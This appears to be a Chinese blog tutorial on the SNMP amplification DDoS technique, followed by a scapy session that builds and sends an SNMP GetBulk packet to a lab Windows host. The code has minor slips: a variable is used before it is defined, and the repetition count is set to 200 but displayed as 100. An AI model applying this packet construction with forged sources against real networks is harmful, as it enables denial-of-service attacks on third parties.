1、SNMP简单网络管理协议
- 服务端口UDP161/162(服务端抓客户端信息,客户端port为161;客户端trap方式主动发往服务端,服务端port为162)
- 管理站(manager/客户端)、被管理设备(agent/服务端)
- 管理信息数据库(MIB)是一个信息存储库,包含过管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
- 每一个节点都有一个对象标识符(OID)唯一的标识
- IETF定义标准的MIB库/厂家自定义MIB库
2、攻击原理
- 请求流量小,查询结果返回流量大
- 结合伪造源地址实现攻击
3、测试
测试图- 首先在windows server2003上安装snmp服务,命令行下输入
appwiz.cpl
安装snmp
使用scapy
>>> i=IP()
>>> i.dst="192.168.50.193"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.50.192
dst= 192.168.50.193 //目标snmpclient地址
\options\
定义udp
>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
定义snmp
>>> s.community="snmpclient“
>>> s.community="snmpclient"
>>> s.display()
###[ SNMP ]###
version= 0x1 <ASN1_INTEGER[1]>
community= 'snmpclient'
\PDU\
|###[ SNMPget ]###
| id= 0x0 <ASN1_INTEGER[0]>
| error= 0x0 <ASN1_INTEGER[0]>
| error_index= 0x0 <ASN1_INTEGER[0]>
| \varbindlist\
设置SNMP的bulk
>>> b=SNMPbulk()
>>> b.display()
###[ SNMPbulk ]###
id= 0x0 <ASN1_INTEGER[0]>
non_repeaters= 0x0 <ASN1_INTEGER[0]>
max_repetitions= 0x0 <ASN1_INTEGER[0]>
\varbindlist\
>>> b.max_repetitions=200 //重复发送200遍查询
设置SNMP的PDU
>>> s.PDU=b
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
>>> s.display()
###[ SNMP ]###
version= 0x1 <ASN1_INTEGER[1]>
community= 'snmpclient'
\PDU\
|###[ SNMPbulk ]###
| id= 0x0 <ASN1_INTEGER[0]>
| non_repeaters= 0x0 <ASN1_INTEGER[0]>
| max_repetitions= 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.1.3.6.1.2.1.1']>
| | value= <ASN1_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
| | value= <ASN1_NULL[0]>
发送snmp包
>>> r=(i/u/s)
>>> sr1(r)
查看发送200遍的结果
snmp抓包结果
网友评论